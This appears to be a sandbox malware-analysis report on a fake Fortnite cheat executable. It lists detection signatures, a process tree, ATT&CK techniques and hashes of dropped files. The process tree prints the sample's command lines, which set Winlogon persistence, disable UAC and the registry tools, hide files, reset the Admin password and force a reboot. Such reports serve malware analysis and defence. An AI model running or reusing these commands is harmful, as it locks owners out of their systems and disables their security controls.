Resubmissions
09/05/2024, 18:25
240509-w2nsmsbc561009/05/2024, 08:53
240509-ks9szahf2w1009/05/2024, 08:52
240509-ks3pnace25108/05/2024, 09:27
240508-le3m6sdf7t1007/05/2024, 10:53
240507-my8tzach4v505/05/2024, 15:20
240505-sqqlbadg5s504/05/2024, 12:20
240504-phv92sgf241004/05/2024, 12:17
240504-pf52gage491003/05/2024, 11:11
240503-naq5pafb291030/04/2024, 17:26
240430-v1anysbf4y7Analysis
- max time kernel
106s - max time network
111s - platform
windows10-2004_x64 - resource
win10v2004-20240226-en - resource tags
arch:x64arch:x86image:win10v2004-20240226-enlocale:en-usos:windows10-2004-x64system - submitted
04/05/2024, 12:17
Static task
static1
URLScan task
urlscan1
Behavioral task
behavioral1
Sample
https://github.com
Resource
win10v2004-20240226-en
windows10-2004-x64
23 signatures
1800 seconds
Errors
Reason
Machine shutdown
General
- Target https://github.com
- Sample240504-pf52gage49
Score
10/10
Malware Config
Signatures
- Modifies WinLogon for persistence 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit = "C:\\Windows\\system32\\userinit.exe,C:\\launch.exe" reg.exe -
description ioc Process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0" reg.exe - Disables RegEdit via registry modification 1 IoCs
description ioc Process Set value (int) \REGISTRY\USER\S-1-5-21-3808065738-1666277613-1125846146-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools = "1" reg.exe - Sets file to hidden 1 TTPs 2 IoCs
Modifies file attributes to stop it showing in Explorer etc.
pid Process 2392 attrib.exe 808 attrib.exe - Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-3808065738-1666277613-1125846146-1000\Control Panel\International\Geo\Nation wscript.exe - Sets desktop wallpaper using registry 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-3808065738-1666277613-1125846146-1000\Control Panel\Desktop\wallpaper = "C:\\hello.jpg" reg.exe - Drops file in Program Files directory 12 IoCs
description ioc Process File created C:\Program Files (x86)\ Fn cheats.exe File opened for modification C:\Program Files (x86)\ Fn cheats.exe File created C:\Program Files (x86)\erode.exe Fn cheats.exe File created C:\Program Files (x86)\hello.bat Fn cheats.exe File created C:\Program Files (x86)\hello.jpg Fn cheats.exe File created C:\Program Files (x86)\hello.reg Fn cheats.exe File created C:\Program Files (x86)\mover.exe Fn cheats.exe File created C:\Program Files (x86)\date.txt Fn cheats.exe File created C:\Program Files (x86)\launch.exe Fn cheats.exe File created C:\Program Files (x86)\msg.exe Fn cheats.exe File created C:\Program Files (x86)\mypc.exe Fn cheats.exe File created C:\Program Files (x86)\shaking.exe Fn cheats.exe - Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Checks SCSI registry key(s) 3 TTPs 3 IoCs
SCSI information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000 taskmgr.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\Properties\{b725f130-47ef-101a-a5f1-02608c9eebac}\000A taskmgr.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\FriendlyName taskmgr.exe - Enumerates system info in registry 2 TTPs 3 IoCs
description ioc Process Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS chrome.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName chrome.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer chrome.exe - Modifies data under HKEY_USERS 17 IoCs
description ioc Process Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationColorBalance = "89" LogonUI.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationAfterglowBalance = "10" LogonUI.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Accent\StartColorMenu = "4288567808" LogonUI.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationColor = "3288365271" LogonUI.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationAfterglow = "3288365271" LogonUI.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationBlurBalance = "1" LogonUI.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\EnableWindowColorization = "221" LogonUI.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Themes\History\AutoColor = "0" LogonUI.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM LogonUI.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Accent\AccentColorMenu = "4292311040" LogonUI.exe Set value (data) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Accent\AccentPalette = a6d8ff0076b9ed00429ce3000078d700005a9e000042750000264200f7630c00 LogonUI.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Themes\History LogonUI.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Accent LogonUI.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\AccentColor = "4292311040" LogonUI.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationGlassAttribute = "1" LogonUI.exe Key created \REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry chrome.exe Set value (int) \REGISTRY\USER\S-1-5-19\SOFTWARE\Microsoft\Cryptography\TPM\Telemetry\TraceTimeLast = "133592986614339169" chrome.exe - Modifies registry class 1 IoCs
description ioc Process Key created \REGISTRY\USER\S-1-5-21-3808065738-1666277613-1125846146-1000_Classes\Local Settings chrome.exe - Modifies registry key 1 TTPs 1 IoCs
pid Process 3756 reg.exe - Runs .reg file with regedit 1 IoCs
pid Process 3244 regedit.exe - Runs net.exe
- Suspicious behavior: EnumeratesProcesses 11 IoCs
pid Process 1348 chrome.exe 1348 chrome.exe 2884 taskmgr.exe 2884 taskmgr.exe 2884 taskmgr.exe 2884 taskmgr.exe 2884 taskmgr.exe 2884 taskmgr.exe 2884 taskmgr.exe 2884 taskmgr.exe 2884 taskmgr.exe - Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 3 IoCs
pid Process 1348 chrome.exe 1348 chrome.exe 1348 chrome.exe - Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeShutdownPrivilege 1348 chrome.exe Token: SeCreatePagefilePrivilege 1348 chrome.exe Token: SeShutdownPrivilege 1348 chrome.exe Token: SeCreatePagefilePrivilege 1348 chrome.exe Token: SeShutdownPrivilege 1348 chrome.exe Token: SeCreatePagefilePrivilege 1348 chrome.exe Token: SeShutdownPrivilege 1348 chrome.exe Token: SeCreatePagefilePrivilege 1348 chrome.exe Token: SeShutdownPrivilege 1348 chrome.exe Token: SeCreatePagefilePrivilege 1348 chrome.exe Token: SeShutdownPrivilege 1348 chrome.exe Token: SeCreatePagefilePrivilege 1348 chrome.exe Token: SeShutdownPrivilege 1348 chrome.exe Token: SeCreatePagefilePrivilege 1348 chrome.exe Token: SeShutdownPrivilege 1348 chrome.exe Token: SeCreatePagefilePrivilege 1348 chrome.exe Token: SeShutdownPrivilege 1348 chrome.exe Token: SeCreatePagefilePrivilege 1348 chrome.exe Token: SeShutdownPrivilege 1348 chrome.exe Token: SeCreatePagefilePrivilege 1348 chrome.exe Token: SeShutdownPrivilege 1348 chrome.exe Token: SeCreatePagefilePrivilege 1348 chrome.exe Token: SeShutdownPrivilege 1348 chrome.exe Token: SeCreatePagefilePrivilege 1348 chrome.exe Token: SeShutdownPrivilege 1348 chrome.exe Token: SeCreatePagefilePrivilege 1348 chrome.exe Token: SeShutdownPrivilege 1348 chrome.exe Token: SeCreatePagefilePrivilege 1348 chrome.exe Token: SeShutdownPrivilege 1348 chrome.exe Token: SeCreatePagefilePrivilege 1348 chrome.exe Token: SeShutdownPrivilege 1348 chrome.exe Token: SeCreatePagefilePrivilege 1348 chrome.exe Token: SeShutdownPrivilege 1348 chrome.exe Token: SeCreatePagefilePrivilege 1348 chrome.exe Token: SeShutdownPrivilege 1348 chrome.exe Token: SeCreatePagefilePrivilege 1348 chrome.exe Token: SeShutdownPrivilege 1348 chrome.exe Token: SeCreatePagefilePrivilege 1348 chrome.exe Token: SeShutdownPrivilege 1348 chrome.exe Token: SeCreatePagefilePrivilege 1348 chrome.exe Token: SeShutdownPrivilege 1348 chrome.exe Token: SeCreatePagefilePrivilege 1348 chrome.exe Token: SeShutdownPrivilege 1348 chrome.exe Token: SeCreatePagefilePrivilege 1348 chrome.exe Token: SeShutdownPrivilege 1348 chrome.exe Token: SeCreatePagefilePrivilege 1348 chrome.exe Token: SeShutdownPrivilege 1348 chrome.exe Token: SeCreatePagefilePrivilege 1348 chrome.exe Token: SeShutdownPrivilege 1348 chrome.exe Token: SeCreatePagefilePrivilege 1348 chrome.exe Token: SeShutdownPrivilege 1348 chrome.exe Token: SeCreatePagefilePrivilege 1348 chrome.exe Token: SeShutdownPrivilege 1348 chrome.exe Token: SeCreatePagefilePrivilege 1348 chrome.exe Token: SeShutdownPrivilege 1348 chrome.exe Token: SeCreatePagefilePrivilege 1348 chrome.exe Token: SeShutdownPrivilege 1348 chrome.exe Token: SeCreatePagefilePrivilege 1348 chrome.exe Token: SeShutdownPrivilege 1348 chrome.exe Token: SeCreatePagefilePrivilege 1348 chrome.exe Token: SeShutdownPrivilege 1348 chrome.exe Token: SeCreatePagefilePrivilege 1348 chrome.exe Token: SeShutdownPrivilege 1348 chrome.exe Token: SeCreatePagefilePrivilege 1348 chrome.exe - Suspicious use of FindShellTrayWindow 63 IoCs
pid Process 1348 chrome.exe 1348 chrome.exe 1348 chrome.exe 1348 chrome.exe 1348 chrome.exe 1348 chrome.exe 1348 chrome.exe 1348 chrome.exe 1348 chrome.exe 1348 chrome.exe 1348 chrome.exe 1348 chrome.exe 1348 chrome.exe 1348 chrome.exe 1348 chrome.exe 1348 chrome.exe 1348 chrome.exe 1348 chrome.exe 1348 chrome.exe 1348 chrome.exe 1348 chrome.exe 1348 chrome.exe 1348 chrome.exe 1348 chrome.exe 1348 chrome.exe 1348 chrome.exe 1348 chrome.exe 1348 chrome.exe 1348 chrome.exe 1348 chrome.exe 1348 chrome.exe 1348 chrome.exe 1348 chrome.exe 1348 chrome.exe 1348 chrome.exe 1348 chrome.exe 1348 chrome.exe 1348 chrome.exe 1348 chrome.exe 1348 chrome.exe 1348 chrome.exe 1348 chrome.exe 2884 taskmgr.exe 2884 taskmgr.exe 2884 taskmgr.exe 2884 taskmgr.exe 2884 taskmgr.exe 2884 taskmgr.exe 2884 taskmgr.exe 2884 taskmgr.exe 2884 taskmgr.exe 2884 taskmgr.exe 2884 taskmgr.exe 2884 taskmgr.exe 2884 taskmgr.exe 2884 taskmgr.exe 2884 taskmgr.exe 2884 taskmgr.exe 2884 taskmgr.exe 2884 taskmgr.exe 2884 taskmgr.exe 2884 taskmgr.exe 2884 taskmgr.exe - Suspicious use of SendNotifyMessage 51 IoCs
pid Process 1348 chrome.exe 1348 chrome.exe 1348 chrome.exe 1348 chrome.exe 1348 chrome.exe 1348 chrome.exe 1348 chrome.exe 1348 chrome.exe 1348 chrome.exe 1348 chrome.exe 1348 chrome.exe 1348 chrome.exe 1348 chrome.exe 1348 chrome.exe 1348 chrome.exe 1348 chrome.exe 1348 chrome.exe 1348 chrome.exe 1348 chrome.exe 1348 chrome.exe 1348 chrome.exe 1348 chrome.exe 1348 chrome.exe 1348 chrome.exe 1348 chrome.exe 1348 chrome.exe 1348 chrome.exe 1348 chrome.exe 1348 chrome.exe 1348 chrome.exe 1348 chrome.exe 1348 chrome.exe 2884 taskmgr.exe 2884 taskmgr.exe 2884 taskmgr.exe 2884 taskmgr.exe 2884 taskmgr.exe 2884 taskmgr.exe 2884 taskmgr.exe 2884 taskmgr.exe 2884 taskmgr.exe 2884 taskmgr.exe 2884 taskmgr.exe 2884 taskmgr.exe 2884 taskmgr.exe 2884 taskmgr.exe 2884 taskmgr.exe 2884 taskmgr.exe 2884 taskmgr.exe 2884 taskmgr.exe 2884 taskmgr.exe - Suspicious use of SetWindowsHookEx 2 IoCs
pid Process 2684 Fn cheats.exe 3244 LogonUI.exe - Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 1348 wrote to memory of 1104 1348 chrome.exe 91 PID 1348 wrote to memory of 1104 1348 chrome.exe 91 PID 1348 wrote to memory of 2768 1348 chrome.exe 93 PID 1348 wrote to memory of 2768 1348 chrome.exe 93 PID 1348 wrote to memory of 2768 1348 chrome.exe 93 PID 1348 wrote to memory of 2768 1348 chrome.exe 93 PID 1348 wrote to memory of 2768 1348 chrome.exe 93 PID 1348 wrote to memory of 2768 1348 chrome.exe 93 PID 1348 wrote to memory of 2768 1348 chrome.exe 93 PID 1348 wrote to memory of 2768 1348 chrome.exe 93 PID 1348 wrote to memory of 2768 1348 chrome.exe 93 PID 1348 wrote to memory of 2768 1348 chrome.exe 93 PID 1348 wrote to memory of 2768 1348 chrome.exe 93 PID 1348 wrote to memory of 2768 1348 chrome.exe 93 PID 1348 wrote to memory of 2768 1348 chrome.exe 93 PID 1348 wrote to memory of 2768 1348 chrome.exe 93 PID 1348 wrote to memory of 2768 1348 chrome.exe 93 PID 1348 wrote to memory of 2768 1348 chrome.exe 93 PID 1348 wrote to memory of 2768 1348 chrome.exe 93 PID 1348 wrote to memory of 2768 1348 chrome.exe 93 PID 1348 wrote to memory of 2768 1348 chrome.exe 93 PID 1348 wrote to memory of 2768 1348 chrome.exe 93 PID 1348 wrote to memory of 2768 1348 chrome.exe 93 PID 1348 wrote to memory of 2768 1348 chrome.exe 93 PID 1348 wrote to memory of 2768 1348 chrome.exe 93 PID 1348 wrote to memory of 2768 1348 chrome.exe 93 PID 1348 wrote to memory of 2768 1348 chrome.exe 93 PID 1348 wrote to memory of 2768 1348 chrome.exe 93 PID 1348 wrote to memory of 2768 1348 chrome.exe 93 PID 1348 wrote to memory of 2768 1348 chrome.exe 93 PID 1348 wrote to memory of 2768 1348 chrome.exe 93 PID 1348 wrote to memory of 2768 1348 chrome.exe 93 PID 1348 wrote to memory of 2768 1348 chrome.exe 93 PID 1348 wrote to memory of 2768 1348 chrome.exe 93 PID 1348 wrote to memory of 2768 1348 chrome.exe 93 PID 1348 wrote to memory of 2768 1348 chrome.exe 93 PID 1348 wrote to memory of 2768 1348 chrome.exe 93 PID 1348 wrote to memory of 2768 1348 chrome.exe 93 PID 1348 wrote to memory of 2768 1348 chrome.exe 93 PID 1348 wrote to memory of 2768 1348 chrome.exe 93 PID 1348 wrote to memory of 3620 1348 chrome.exe 94 PID 1348 wrote to memory of 3620 1348 chrome.exe 94 PID 1348 wrote to memory of 1380 1348 chrome.exe 95 PID 1348 wrote to memory of 1380 1348 chrome.exe 95 PID 1348 wrote to memory of 1380 1348 chrome.exe 95 PID 1348 wrote to memory of 1380 1348 chrome.exe 95 PID 1348 wrote to memory of 1380 1348 chrome.exe 95 PID 1348 wrote to memory of 1380 1348 chrome.exe 95 PID 1348 wrote to memory of 1380 1348 chrome.exe 95 PID 1348 wrote to memory of 1380 1348 chrome.exe 95 PID 1348 wrote to memory of 1380 1348 chrome.exe 95 PID 1348 wrote to memory of 1380 1348 chrome.exe 95 PID 1348 wrote to memory of 1380 1348 chrome.exe 95 PID 1348 wrote to memory of 1380 1348 chrome.exe 95 PID 1348 wrote to memory of 1380 1348 chrome.exe 95 PID 1348 wrote to memory of 1380 1348 chrome.exe 95 PID 1348 wrote to memory of 1380 1348 chrome.exe 95 PID 1348 wrote to memory of 1380 1348 chrome.exe 95 PID 1348 wrote to memory of 1380 1348 chrome.exe 95 PID 1348 wrote to memory of 1380 1348 chrome.exe 95 PID 1348 wrote to memory of 1380 1348 chrome.exe 95 PID 1348 wrote to memory of 1380 1348 chrome.exe 95 PID 1348 wrote to memory of 1380 1348 chrome.exe 95 PID 1348 wrote to memory of 1380 1348 chrome.exe 95 - Views/modifies file attributes 1 TTPs 2 IoCs
pid Process 2392 attrib.exe 808 attrib.exe
Processes
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --disable-background-networking --disable-component-update --simulate-outdated-no-au='Tue, 31 Dec 2099 23:59:59 GMT' --single-argument https://github.com1⤵
- Enumerates system info in registry
- Modifies data under HKEY_USERS
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:1348 -
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=106.0.5249.119 --initial-client-data=0xfc,0x100,0x104,0xd8,0x108,0x7ff987d79758,0x7ff987d79768,0x7ff987d797782⤵PID:1104
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --gpu-preferences=UAAAAAAAAADgAAAYAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAEgAAAAAAAAASAAAAAAAAAAYAAAAAgAAABAAAAAAAAAAGAAAAAAAAAAQAAAAAAAAAAAAAAAOAAAAEAAAAAAAAAABAAAADgAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=1784 --field-trial-handle=1880,i,7588785767705781662,6335492349937070423,131072 /prefetch:22⤵PID:2768
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2144 --field-trial-handle=1880,i,7588785767705781662,6335492349937070423,131072 /prefetch:82⤵PID:3620
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2160 --field-trial-handle=1880,i,7588785767705781662,6335492349937070423,131072 /prefetch:82⤵PID:1380
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --first-renderer-process --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --mojo-platform-channel-handle=3088 --field-trial-handle=1880,i,7588785767705781662,6335492349937070423,131072 /prefetch:12⤵PID:1484
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --mojo-platform-channel-handle=3108 --field-trial-handle=1880,i,7588785767705781662,6335492349937070423,131072 /prefetch:12⤵PID:4276
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --mojo-platform-channel-handle=4532 --field-trial-handle=1880,i,7588785767705781662,6335492349937070423,131072 /prefetch:82⤵PID:4648
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5356 --field-trial-handle=1880,i,7588785767705781662,6335492349937070423,131072 /prefetch:82⤵PID:3796
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=4528 --field-trial-handle=1880,i,7588785767705781662,6335492349937070423,131072 /prefetch:82⤵PID:5044
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --mojo-platform-channel-handle=5328 --field-trial-handle=1880,i,7588785767705781662,6335492349937070423,131072 /prefetch:12⤵PID:1904
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5356 --field-trial-handle=1880,i,7588785767705781662,6335492349937070423,131072 /prefetch:82⤵PID:740
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5052 --field-trial-handle=1880,i,7588785767705781662,6335492349937070423,131072 /prefetch:82⤵PID:3180
-
-
C:\Program Files\Google\Chrome\Application\106.0.5249.119\elevation_service.exe"C:\Program Files\Google\Chrome\Application\106.0.5249.119\elevation_service.exe"1⤵PID:1596
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --no-appcompat-clear --mojo-platform-channel-handle=1416 --field-trial-handle=3240,i,13319578961094268484,16557498665191861597,262144 --variations-seed-version /prefetch:81⤵PID:4008
-
C:\Windows\System32\rundll32.exeC:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding1⤵PID:996
-
C:\Users\Admin\Desktop\Fortnite-free-cheat-main\Fn cheats.exe"C:\Users\Admin\Desktop\Fortnite-free-cheat-main\Fn cheats.exe"1⤵
- Drops file in Program Files directory
- Suspicious use of SetWindowsHookEx
PID:2684 -
C:\Windows\system32\wscript.exe"C:\Windows\sysnative\wscript.exe" C:\Users\Admin\AppData\Local\Temp\4B76.tmp\4B77.tmp\4B78.vbs //Nologo2⤵
- Checks computer location settings
PID:4180 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Program Files (x86)\hello.bat" "3⤵PID:4696
-
C:\Windows\system32\attrib.exeattrib +s +h C:\msg.exe4⤵
- Sets file to hidden
- Views/modifies file attributes
PID:2392
-
-
C:\Windows\system32\attrib.exeattrib +s +h C:\launch.exe4⤵
- Sets file to hidden
- Views/modifies file attributes
PID:808
-
-
C:\Windows\regedit.exeregedit /s hello.reg4⤵
- Runs .reg file with regedit
PID:3244
-
-
C:\Windows\system32\reg.exereg add HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\System /v DisableLogonBackgroundImage /t REG_DWORD /d 14⤵PID:1276
-
-
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Userinit /t REG_SZ /d C:\Windows\system32\userinit.exe,C:\launch.exe /f4⤵
- Modifies WinLogon for persistence
PID:4160
-
-
C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\control panel\desktop" /v wallpaper /t REG_SZ /d C:\hello.jpg /f4⤵
- Sets desktop wallpaper using registry
PID:5012
-
-
C:\Windows\system32\reg.exereg add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\ActiveDesktop /v NoChangingWallPaper /t REG_DWORD /d 14⤵PID:4776
-
-
C:\Windows\system32\reg.exereg ADD HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f4⤵
- UAC bypass
PID:1072
-
-
C:\Windows\system32\reg.exereg add HKEY_CURRENT_USER\SOFTWARE\Policies\Microsoft\Windows\System /v DisableCMD /t REG_DWORD /d 24⤵PID:2244
-
-
C:\Windows\system32\reg.exeREG add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableRegistryTools /t REG_DWORD /d 1 /f4⤵
- Disables RegEdit via registry modification
- Modifies registry key
PID:3756
-
-
C:\Windows\system32\net.exenet user Admin death4⤵PID:3744
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 user Admin death5⤵PID:5024
-
-
-
C:\Windows\system32\shutdown.exeshutdown /t 0 /r4⤵PID:2348
-
-
-
-
C:\Windows\system32\taskmgr.exe"C:\Windows\system32\taskmgr.exe" /41⤵
- Checks SCSI registry key(s)
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
PID:2884
-
C:\Windows\system32\LogonUI.exe"LogonUI.exe" /flags:0x4 /state0:0xa395d055 /state1:0x41c64e6d1⤵
- Modifies data under HKEY_USERS
- Suspicious use of SetWindowsHookEx
PID:3244
-
C:\Windows\System32\rundll32.exeC:\Windows\System32\rundll32.exe shell32.dll,SHCreateLocalServerRunDll {9BA05972-F6A8-11CF-A442-00A0C90A8F39} -Embedding1⤵PID:4848
Network
MITRE ATT&CK Enterprise v15
Privilege Escalation
Abuse Elevation Control Mechanism
1Bypass User Account Control
1Boot or Logon Autostart Execution
1Winlogon Helper DLL
1Defense Evasion
Abuse Elevation Control Mechanism
1Bypass User Account Control
1Hide Artifacts
2Hidden Files and Directories
2Impair Defenses
1Disable or Modify Tools
1Modify Registry
4Replay Monitor
Loading Replay Monitor...
Downloads
- Path C:\Program Files (x86)\date.txt
- Size 120B
- SHA256 d3195bde888f9b8a71f2eb840222f1586b652d0ede9f39841a180ead03633ca9
- MD5 255a8e245b6ad378558b90cbe3dbc3d0
- SHA1 6eb73f9f2034c113a2a6b1aab9a440a21928cfc2
- SHA512 67e03d7bffa0dec32535b6da46d5b7f38d94a7c9a231aa2fa625b81485d41c1ecac95b08fe5b7a605fcfe1c7e37c55ee716c9045df90ea6e030b86e52ec09edf
- MD5 SHA1 SHA512
- Path C:\Program Files (x86)\hello.bat
- Size 1KB
- SHA256 2b2114784d15b0b0d5475256851b4d0d4da7181198c2a93a304ecedb98eaf091
- MD5 b86fddd2b764f079615be5d4dc3e158d
- SHA1 2510479054db1fe52cc2dcd3c7033d91204cb367
- SHA512 915363bc9f6e665358c8d25f5f5f51d64c53cb755be999013217162b126705ce641ea809047bc84511db7e3e383b848ec3932924baa8926d51a51d0037a5ca63
- MD5 SHA1 SHA512
- Path C:\Program Files (x86)\hello.jpg
- Size 110KB
- SHA256 6e1115188aa00fb5ff031899100bacb0d34819707e069bca3eb53935ebb39836
- MD5 057ea45c364eb2994808a47b118556a2
- SHA1 1d48c9c15ea5548af1475b5a369a4f7b8db42858
- SHA512 582c7ecf2d0c33c8706ff3f39aa926780aa8f0dc0ff5d563905a5100254b81b89def22206abee0871ab339a3d463de9e6ec1782d92198e8f386f173654b6e760
- SSDEEP 1536:+x21dnAxo1u4CbenxCmRrfJHQWhebhxODPsPN/U/95RUxwQPJm9oOzXQzJm3CH4K:dFg4Wex91BWx3i/9CjCDAM3m2RRy
- MD5 SHA1 SHA512 SSDEEP
- Path C:\Program Files (x86)\hello.reg
- Size 3KB
- SHA256 bb21001c1c468e6e372d836952c3efb7fbdc98e9a20a1bfdcc4beb1b7a1e7f83
- MD5 81427e9d5d10657b9edffd22e7b405bb
- SHA1 f27ab62f77f827dbb32c66a35ac48006c47f4374
- SHA512 b0ee65bcef13be7c17db6e06b96cd44774fcebe6f4a411b0073493ff53f795e3b7c49e921c3bd2e41256638bc161f5218d1c51b589c3e10164f8f2c0d1db1592
- MD5 SHA1 SHA512
- Path C:\Program Files (x86)\launch.exe
- Size 92KB
- SHA256 34bc0d5b6029a74b9cda56b72434ec1b55b6742ff5ef832d36027a987a63cd42
- MD5 b4acc41d0e55b299ffeec11a8a20cf08
- SHA1 bbee20882bdd9dcd24b54b6af6c48cf5efc8c6fa
- SHA512 d4fa9900d703ea12d508929718433f97581a23b63458e5070ff7749871a7f60889db45098ec2972687b864ba97ab4fc307e8c80c4450dee79c0a5738818d2794
- SSDEEP 1536:87fy7CyfphIMvMpICdHkXMXakLC5PNNg1qCXxaIOlnToIfHml8e:SamXeCtkCubJCXxoNTBfHY8e
